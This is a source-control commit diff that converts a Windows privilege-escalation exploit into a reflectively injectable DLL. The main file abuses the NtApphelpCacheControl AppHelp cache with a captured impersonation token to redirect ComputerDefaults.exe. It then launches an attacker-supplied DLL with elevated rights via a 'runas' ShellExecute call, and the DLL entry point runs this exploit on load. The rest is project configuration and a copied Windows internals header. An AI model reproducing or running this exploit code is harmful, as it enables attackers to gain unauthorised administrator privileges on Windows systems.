Use RDL
This commit is contained in:
Binary file not shown.
@@ -1,23 +0,0 @@
|
||||
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||
#include "stdafx.h"
|
||||
|
||||
DWORD CALLBACK ExploitThread(LPVOID hModule);
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Express 2013 for Windows Desktop
|
||||
VisualStudioVersion = 12.0.31101.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exploit", "exploit\exploit.vcxproj", "{41275E8F-395F-492A-9770-38FE2FAA9669}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.Build.0 = Release|Win32
|
||||
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -1,48 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="sdb.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="exploit.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CaptureImpersonationToken.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="sdb_functions.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
+3
-4
@@ -1,7 +1,6 @@
|
||||
#include "stdafx.h"
|
||||
#include <string>
|
||||
#include "sdb.h"
|
||||
|
||||
#include <string>
|
||||
|
||||
#define BUF_SIZE 0x108
|
||||
#define MAX_ENV 32767
|
||||
@@ -145,10 +144,10 @@ LPWSTR GetEnvVar(LPWSTR env)
|
||||
return buf;
|
||||
}
|
||||
|
||||
DWORD CALLBACK ExploitThread(LPVOID hModule)
|
||||
DWORD CALLBACK ExploitMain(char * lpReserved)
|
||||
{
|
||||
WCHAR dllpath_buf[MAX_PATH];
|
||||
LPWSTR payloadPath = GetEnvVar(L"PAYLOAD_PATH");
|
||||
LPWSTR payloadPath = (LPWSTR)lpReserved;
|
||||
|
||||
if (!GetFullPathName(payloadPath, MAX_PATH, dllpath_buf, nullptr))
|
||||
{
|
||||
+272
@@ -0,0 +1,272 @@
|
||||
//#include "stdafx.h"
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
#include "my_winternl.h"
|
||||
#include "sdb.h"
|
||||
#include <string>
|
||||
#include <combaseapi.h>
|
||||
#include <shellapi.h>
|
||||
|
||||
#define BUF_SIZE 0x108
|
||||
#define MAX_ENV 32767
|
||||
|
||||
enum APPHELPCOMMAND
|
||||
{
|
||||
AppHelpQuery, // 0 -> 0x22003 DeviceIoControl
|
||||
AppHelpRemove, // 1 -> 0x22007
|
||||
AppHelpUpdate, // 2 -> 0x2200B (Admin)
|
||||
AppHelpEnum, // 3 -> 0x2200F (Admin) (Looks unused)
|
||||
AppHelpNotifyStart, // 4 -> 0x220013 (Admin)
|
||||
AppHelpWriteRegistry, // 5 -> 0x220017 (Admin)
|
||||
AppHelpNotifyStop, // 6 -> 0x22001B (Admin)
|
||||
AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service)
|
||||
AppHelpSnapshot, // 8 -> 0x220023 (Admin)
|
||||
AppHelpQueryModule, // 9 -> 0x220027
|
||||
AppHelpRefresh, // 10 -> 0x22002B
|
||||
AppHelpCheckForChange, // 11 -> 0x22002F
|
||||
AppHelpQueryHwId, // 12 (doesn’t go to driver, calls AchCacheQueryHwId)
|
||||
};
|
||||
|
||||
struct ApphelpCacheControlData
|
||||
{
|
||||
BYTE unk0[0x98]; // 0x00 -> 0x98 (all zeros?)
|
||||
DWORD query_flags; // 0x98;
|
||||
DWORD cache_flags; // 0x9C
|
||||
HANDLE file_handle; // 0xA0
|
||||
HANDLE process_handle; // 0xA4
|
||||
UNICODE_STRING file_name; // 0xA8
|
||||
UNICODE_STRING package_name;// 0xB0
|
||||
DWORD buf_len; // 0xB8
|
||||
LPVOID buffer; // 0xBC
|
||||
BYTE unkC0[0x2C]; // 0xC0 -> 0xEC
|
||||
UNICODE_STRING module_name; // 0xEC (used for 9)
|
||||
BYTE unkF4[0x14]; // 0xF4 -> 0x108
|
||||
};
|
||||
|
||||
typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf);
|
||||
typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
|
||||
HANDLE CaptureImpersonationToken();
|
||||
|
||||
struct APPHELP_QUERY
|
||||
{
|
||||
int match_tags[16];
|
||||
int unk40[16];
|
||||
int layer_tags[8];
|
||||
int flags;
|
||||
int main_tag;
|
||||
int match_count;
|
||||
int layer_count;
|
||||
GUID exe_guid;
|
||||
int unkC0[264 / 4];
|
||||
};
|
||||
|
||||
BOOL resolveSdbFunctions();
|
||||
extern SdbOpenDatabase SdbOpenDatabasePtr;
|
||||
extern SdbCloseDatabase SdbCloseDatabasePtr;
|
||||
extern SdbTagToString SdbTagToStringPtr;
|
||||
extern SdbGetFirstChild SdbGetFirstChildPtr;
|
||||
extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr;
|
||||
extern SdbGetNextChild SdbGetNextChildPtr;
|
||||
extern SdbReadBinaryTag SdbReadBinaryTagPtr;
|
||||
|
||||
TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid)
|
||||
{
|
||||
TAG tmpTag = 0;
|
||||
DWORD dwD = 0;
|
||||
TAGID newtid = TAGID_NULL;
|
||||
LPCTSTR tmp;
|
||||
DWORD i = 0;
|
||||
GUID guid;
|
||||
|
||||
newtid = SdbGetFirstChildPtr(db, tid);
|
||||
while (newtid != TAGID_NULL)
|
||||
{
|
||||
tmpTag = SdbGetTagFromTagIDPtr(db, newtid);
|
||||
tmp = SdbTagToStringPtr(tmpTag);
|
||||
|
||||
// process tag types
|
||||
switch (tmpTag & 0xFFFF)
|
||||
{
|
||||
case TAG_EXE_ID:
|
||||
if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid)))
|
||||
{
|
||||
if (IsEqualGUID(guid, exe_guid))
|
||||
{
|
||||
return tid;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
// recursive
|
||||
if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST)
|
||||
{
|
||||
TAGID ret = findExeByGuid(db, newtid, exe_guid);
|
||||
if (ret != 0)
|
||||
{
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
// get next tag
|
||||
newtid = SdbGetNextChildPtr(db, tid, newtid);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
TAGID GetTagForRegsvr32()
|
||||
{
|
||||
resolveSdbFunctions();
|
||||
|
||||
PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH);
|
||||
if (!db)
|
||||
{
|
||||
DWORD stat = GetLastError();
|
||||
printf("Failed to load SDB file %d\n", stat);
|
||||
return 0;
|
||||
}
|
||||
|
||||
GUID guid;
|
||||
|
||||
IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid);
|
||||
|
||||
TAGID ret = findExeByGuid(db, TAGID_ROOT, guid);
|
||||
|
||||
SdbCloseDatabasePtr(db);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
LPWSTR GetEnvVar(LPWSTR env)
|
||||
{
|
||||
WCHAR buf[MAX_ENV];
|
||||
GetEnvironmentVariable(env, buf, MAX_ENV);
|
||||
return buf;
|
||||
}
|
||||
|
||||
DWORD CALLBACK ExploitMain(char * lpReserved)
|
||||
{
|
||||
WCHAR dllpath_buf[MAX_PATH];
|
||||
WCHAR payloadPath[MAX_PATH];
|
||||
MultiByteToWideChar(CP_ACP, 0, lpReserved, -1, payloadPath, MAX_PATH);
|
||||
|
||||
if (!GetFullPathNameW(payloadPath, MAX_PATH, (LPWSTR) dllpath_buf, nullptr))
|
||||
{
|
||||
printf("Couldn't get fullpath to dll %d\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::wstring dllpath;
|
||||
dllpath = L"\"";
|
||||
dllpath += dllpath_buf;
|
||||
dllpath += L"\"";
|
||||
|
||||
TAGID tag = GetTagForRegsvr32();
|
||||
if (tag == 0)
|
||||
{
|
||||
printf("Failed to get SDB tag for regsvr32\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Found regsvr32.exe tag: %08X\n", tag);
|
||||
|
||||
HANDLE token = CaptureImpersonationToken();
|
||||
_RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString");
|
||||
_NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl");
|
||||
|
||||
ApphelpCacheControlData data = { 0 };
|
||||
|
||||
std::wstring exe = GetEnvVar(L"SystemRoot");
|
||||
exe += L"\\System32\\ComputerDefaults.exe";
|
||||
|
||||
std::wstring full_path = L"\\??\\";
|
||||
full_path += exe.c_str();
|
||||
|
||||
printf("Interposing on cache for %ls\n", full_path.c_str());
|
||||
|
||||
fRtlInitUnicodeString(&data.file_name, full_path.c_str());
|
||||
|
||||
data.file_handle = CreateFile(exe.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
||||
nullptr, OPEN_EXISTING, 0, 0);
|
||||
if (data.file_handle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf("Error opening file %ls %d\n", exe.c_str(), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
data.query_flags = 0xFF;
|
||||
data.cache_flags = 1;
|
||||
|
||||
APPHELP_QUERY query = { 0 };
|
||||
query.match_count = 1;
|
||||
query.layer_count = 0;
|
||||
query.match_tags[0] = tag;
|
||||
query.unkC0[0] = 1;
|
||||
|
||||
data.buffer = &query;
|
||||
data.buf_len = sizeof(query);
|
||||
|
||||
int status = -1;
|
||||
|
||||
// Ensure it the cache if flushed
|
||||
fNtApphelpCacheControl(AppHelpRemove, &data);
|
||||
|
||||
if (SetThreadToken(nullptr, token))
|
||||
{
|
||||
status = fNtApphelpCacheControl(AppHelpUpdate, &data);
|
||||
RevertToSelf();
|
||||
}
|
||||
else
|
||||
{
|
||||
status = GetLastError();
|
||||
}
|
||||
|
||||
if (status == 0)
|
||||
{
|
||||
LPCWSTR verb = L"runas";
|
||||
|
||||
printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str());
|
||||
ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW);
|
||||
printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data));
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("Error adding cache entry: %08X\n", status);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL)
|
||||
{
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
ExploitMain((char*)lpReserved);
|
||||
ExitProcess(0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
+3
-1
@@ -65,6 +65,8 @@
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -77,6 +79,7 @@
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="my_winternl.h" />
|
||||
<ClInclude Include="sdb.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
@@ -91,7 +94,6 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="exploit.cpp" />
|
||||
<ClCompile Include="sdb_functions.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
+866
@@ -0,0 +1,866 @@
|
||||
#ifndef _WINTERNL_
|
||||
#define _WINTERNL_
|
||||
#include <winapifamily.h>
|
||||
|
||||
#pragma region Desktop Family
|
||||
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||
|
||||
|
||||
#if (_WIN32_WINNT >= 0x0500)
|
||||
|
||||
#include <windef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
//
|
||||
// These data structures and type definitions are needed for compilation and
|
||||
// use of the internal Windows APIs defined in this header.
|
||||
//
|
||||
|
||||
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
|
||||
|
||||
typedef CONST char *PCSZ;
|
||||
|
||||
typedef struct _STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PCHAR Buffer;
|
||||
} STRING;
|
||||
typedef STRING *PSTRING;
|
||||
|
||||
typedef STRING ANSI_STRING;
|
||||
typedef PSTRING PANSI_STRING;
|
||||
typedef PSTRING PCANSI_STRING;
|
||||
|
||||
typedef STRING OEM_STRING;
|
||||
typedef PSTRING POEM_STRING;
|
||||
typedef CONST STRING* PCOEM_STRING;
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING;
|
||||
typedef UNICODE_STRING *PUNICODE_STRING;
|
||||
typedef const UNICODE_STRING *PCUNICODE_STRING;
|
||||
|
||||
//
|
||||
// The PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, RTL_USER_PROCESS_PARAMETERS, PEB
|
||||
// and TEB structures are subject to changes between Windows releases; thus,
|
||||
// the field offsets and reserved fields may change. The reserved fields are
|
||||
// reserved for use only by the Windows operating systems. Do not assume a
|
||||
// maximum size for these structures.
|
||||
//
|
||||
// Instead of using the InMemoryOrderModuleList field of the
|
||||
// LDR_DATA_TABLE_ENTRY structure, use the Win32 API EnumProcessModules
|
||||
//
|
||||
// Instead of using the IsBeingDebugged field of the PEB structure, use the
|
||||
// Win32 APIs IsDebuggerPresent or CheckRemoteDebuggerPresent
|
||||
//
|
||||
// Instead of using the SessionId field of the PEB structure, use the Win32
|
||||
// APIs GetCurrentProcessId and ProcessIdToSessionId
|
||||
//
|
||||
// Instead of using the Tls fields of the TEB structure, use the Win32 APIs
|
||||
// TlsAlloc, TlsGetValue, TlsSetValue and TlsFree
|
||||
//
|
||||
// Instead of using the ReservedForOle field, use the COM API
|
||||
// CoGetContextToken
|
||||
//
|
||||
// Sample x86 assembly code that gets the SessionId (subject to change
|
||||
// between Windows releases, use the Win32 APIs to make your application
|
||||
// resilient to changes)
|
||||
// mov eax,fs:[00000018]
|
||||
// mov eax,[eax+0x30]
|
||||
// mov eax,[eax+0x1d4]
|
||||
//
|
||||
|
||||
//
|
||||
// N.B. Fields marked as reserved do not necessarily reflect the structure
|
||||
// of the real struct. They may simply guarantee that the offets of
|
||||
// the exposed fields are correct. When code matches this pattern,
|
||||
//
|
||||
// TYPE1 ExposedField1;
|
||||
// BYTE ReservedBytes[b];
|
||||
// PVOID ReservedPtrs[p];
|
||||
// TYPE2 ExposedField2;
|
||||
//
|
||||
// or that pattern with ReservedBytes and ReservedPtrs swapped, it is
|
||||
// likely that 'b' and 'p' are derived from the following system:
|
||||
//
|
||||
// GapThirtyTwo = 4p + b
|
||||
// GapSixtyFour = 8p + b
|
||||
//
|
||||
// where GapThirtyTwo is the number of bytes between the two exposed
|
||||
// fields in the 32-bit version of the real struct and GapSixtyFour
|
||||
// is the number of bytes between the two exposed fields in the 64-bit
|
||||
// version of the real struct.
|
||||
//
|
||||
// Also note that such code must take into account the alignment of
|
||||
// the ReservedPtrs field.
|
||||
//
|
||||
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS {
|
||||
BYTE Reserved1[16];
|
||||
PVOID Reserved2[10];
|
||||
UNICODE_STRING ImagePathName;
|
||||
UNICODE_STRING CommandLine;
|
||||
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
|
||||
|
||||
typedef
|
||||
VOID
|
||||
(NTAPI *PPS_POST_PROCESS_INIT_ROUTINE) (
|
||||
VOID
|
||||
);
|
||||
|
||||
typedef struct _TEB {
|
||||
PVOID Reserved1[12];
|
||||
_PPEB ProcessEnvironmentBlock;
|
||||
PVOID Reserved2[399];
|
||||
BYTE Reserved3[1952];
|
||||
PVOID TlsSlots[64];
|
||||
BYTE Reserved4[8];
|
||||
PVOID Reserved5[26];
|
||||
PVOID ReservedForOle; // Windows 2000 only
|
||||
PVOID Reserved6[4];
|
||||
PVOID TlsExpansionSlots;
|
||||
} TEB, *PTEB;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES {
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES;
|
||||
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
NTSTATUS Status;
|
||||
PVOID Pointer;
|
||||
} DUMMYUNIONNAME;
|
||||
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
||||
|
||||
typedef
|
||||
VOID
|
||||
(NTAPI *PIO_APC_ROUTINE) (
|
||||
IN PVOID ApcContext,
|
||||
IN PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG Reserved
|
||||
);
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION {
|
||||
PVOID Reserved1;
|
||||
_PPEB PebBaseAddress;
|
||||
PVOID Reserved2[2];
|
||||
ULONG_PTR UniqueProcessId;
|
||||
PVOID Reserved3;
|
||||
} PROCESS_BASIC_INFORMATION;
|
||||
typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION {
|
||||
LARGE_INTEGER IdleTime;
|
||||
LARGE_INTEGER KernelTime;
|
||||
LARGE_INTEGER UserTime;
|
||||
LARGE_INTEGER Reserved1[2];
|
||||
ULONG Reserved2;
|
||||
} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_PROCESS_INFORMATION {
|
||||
ULONG NextEntryOffset;
|
||||
BYTE Reserved1[52];
|
||||
PVOID Reserved2[3];
|
||||
HANDLE UniqueProcessId;
|
||||
PVOID Reserved3;
|
||||
ULONG HandleCount;
|
||||
BYTE Reserved4[4];
|
||||
PVOID Reserved5[11];
|
||||
SIZE_T PeakPagefileUsage;
|
||||
SIZE_T PrivatePageCount;
|
||||
LARGE_INTEGER Reserved6[6];
|
||||
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION {
|
||||
ULONG RegistryQuotaAllowed;
|
||||
ULONG RegistryQuotaUsed;
|
||||
PVOID Reserved1;
|
||||
} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_BASIC_INFORMATION {
|
||||
BYTE Reserved1[24];
|
||||
PVOID Reserved2[4];
|
||||
CCHAR NumberOfProcessors;
|
||||
} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_TIMEOFDAY_INFORMATION {
|
||||
BYTE Reserved1[48];
|
||||
} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_PERFORMANCE_INFORMATION {
|
||||
BYTE Reserved1[312];
|
||||
} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_EXCEPTION_INFORMATION {
|
||||
BYTE Reserved1[16];
|
||||
} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_LOOKASIDE_INFORMATION {
|
||||
BYTE Reserved1[32];
|
||||
} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_INTERRUPT_INFORMATION {
|
||||
BYTE Reserved1[24];
|
||||
} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_POLICY_INFORMATION {
|
||||
PVOID Reserved1[2];
|
||||
ULONG Reserved2[3];
|
||||
} SYSTEM_POLICY_INFORMATION, *PSYSTEM_POLICY_INFORMATION;
|
||||
|
||||
typedef enum _FILE_INFORMATION_CLASS {
|
||||
FileDirectoryInformation = 1
|
||||
} FILE_INFORMATION_CLASS;
|
||||
|
||||
typedef enum _PROCESSINFOCLASS {
|
||||
ProcessBasicInformation = 0,
|
||||
ProcessDebugPort = 7,
|
||||
ProcessWow64Information = 26,
|
||||
ProcessImageFileName = 27,
|
||||
ProcessBreakOnTermination = 29
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef enum _THREADINFOCLASS {
|
||||
ThreadIsIoPending = 16
|
||||
} THREADINFOCLASS;
|
||||
|
||||
typedef enum _SYSTEM_INFORMATION_CLASS {
|
||||
SystemBasicInformation = 0,
|
||||
SystemPerformanceInformation = 2,
|
||||
SystemTimeOfDayInformation = 3,
|
||||
SystemProcessInformation = 5,
|
||||
SystemProcessorPerformanceInformation = 8,
|
||||
SystemInterruptInformation = 23,
|
||||
SystemExceptionInformation = 33,
|
||||
SystemRegistryQuotaInformation = 37,
|
||||
SystemLookasideInformation = 45,
|
||||
SystemPolicyInformation = 134,
|
||||
} SYSTEM_INFORMATION_CLASS;
|
||||
|
||||
//
|
||||
// Object Information Classes
|
||||
//
|
||||
|
||||
typedef enum _OBJECT_INFORMATION_CLASS {
|
||||
ObjectBasicInformation = 0,
|
||||
ObjectTypeInformation = 2
|
||||
} OBJECT_INFORMATION_CLASS;
|
||||
|
||||
//
|
||||
// Public Object Information definitions
|
||||
//
|
||||
|
||||
typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION {
|
||||
ULONG Attributes;
|
||||
ACCESS_MASK GrantedAccess;
|
||||
ULONG HandleCount;
|
||||
ULONG PointerCount;
|
||||
|
||||
ULONG Reserved[10]; // reserved for internal use
|
||||
|
||||
} PUBLIC_OBJECT_BASIC_INFORMATION, *PPUBLIC_OBJECT_BASIC_INFORMATION;
|
||||
|
||||
typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION {
|
||||
|
||||
UNICODE_STRING TypeName;
|
||||
|
||||
ULONG Reserved[22]; // reserved for internal use
|
||||
|
||||
} PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION;
|
||||
|
||||
#if (_WIN32_WINNT >= 0x0501)
|
||||
//
|
||||
// use the WTS API instead
|
||||
// WTSGetActiveConsoleSessionId
|
||||
// The active console id is cached as a volatile ULONG in a constant
|
||||
// memory location. This x86 memory location is subject to changes between
|
||||
// Windows releases. Use the WTS API to make your application resilient to
|
||||
// changes.
|
||||
//
|
||||
#define INTERNAL_TS_ACTIVE_CONSOLE_ID ( *((volatile ULONG*)(0x7ffe02d8)) )
|
||||
#endif // (_WIN32_WINNT >= 0x0501)
|
||||
|
||||
//
|
||||
// These functions are intended for use by internal core Windows components
|
||||
// since these functions may change between Windows releases.
|
||||
//
|
||||
|
||||
#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length))
|
||||
#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length))
|
||||
#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length))
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// CloseHandle
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtClose(
|
||||
IN HANDLE Handle
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// CreateFile
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtCreateFile(
|
||||
OUT PHANDLE FileHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN PLARGE_INTEGER AllocationSize OPTIONAL,
|
||||
IN ULONG FileAttributes,
|
||||
IN ULONG ShareAccess,
|
||||
IN ULONG CreateDisposition,
|
||||
IN ULONG CreateOptions,
|
||||
IN PVOID EaBuffer OPTIONAL,
|
||||
IN ULONG EaLength
|
||||
);
|
||||
|
||||
//
|
||||
